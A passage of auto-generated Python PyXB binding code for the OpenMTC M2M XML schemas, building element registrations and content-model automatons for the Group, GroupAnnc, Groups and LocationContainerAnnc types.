pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 21, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 22, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse( Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 23, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse( Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'memberType')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 24, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'currentNrOfMembers')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 25, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'maxNrOfMembers')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 26, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse( Group._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'members')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 27, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'membersContentAccessRightID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 28, 12)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_11, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'memberTypeValidated')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 29, 12)) st_11 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_11) final_update = set() final_update.add(fac.UpdateInstruction(cc_12, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'consistencyStrategy')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 30, 12)) st_12 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_12) final_update = set() final_update.add(fac.UpdateInstruction(cc_13, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'membersContentReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 32, 12)) st_13 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_13) final_update = set() final_update.add(fac.UpdateInstruction(cc_14, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 33, 12)) st_14 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_14) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_7, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_8, False)])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_9, False)])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_10, True)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_10, False)])) st_10._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_11, True)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_11, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_11, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_11, False)])) st_11._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_12, True)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_12, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_12, False)])) st_12._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_13, True)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_13, False)])) st_13._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_14, True)])) st_14._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Group._Automaton = _BuildAutomaton_48() GroupAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=GroupAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) GroupAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=GroupAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) GroupAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=GroupAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) GroupAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=GroupAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) GroupAnnc._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'), pyxb.binding.datatypes.anyURI, scope=GroupAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 74, 4))) def _BuildAutomaton_49(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_49 del _BuildAutomaton_49 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 16, 12)) counters.add(cc_3) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse( GroupAnnc._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'link')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(GroupAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groupAnnc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) GroupAnnc._Automaton = _BuildAutomaton_49() Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'groupCollection'), NamedReferenceCollection, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 22, 4))) Groups._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'groupAnncCollection'), NamedReferenceCollection, scope=Groups, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 23, 4))) def _BuildAutomaton_50(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_50 del _BuildAutomaton_50 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 18, 12)) counters.add(cc_5) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'groupCollection')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'groupAnncCollection')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Groups._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/groups.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Groups._Automaton = _BuildAutomaton_50() LocationContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=LocationContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) LocationContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=LocationContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) LocationContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=LocationContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) LocationContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=LocationContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) LocationContainerAnnc._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'), pyxb.binding.datatypes.anyURI, scope=LocationContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 74, 4))) def _BuildAutomaton_51(): # Remove this helper 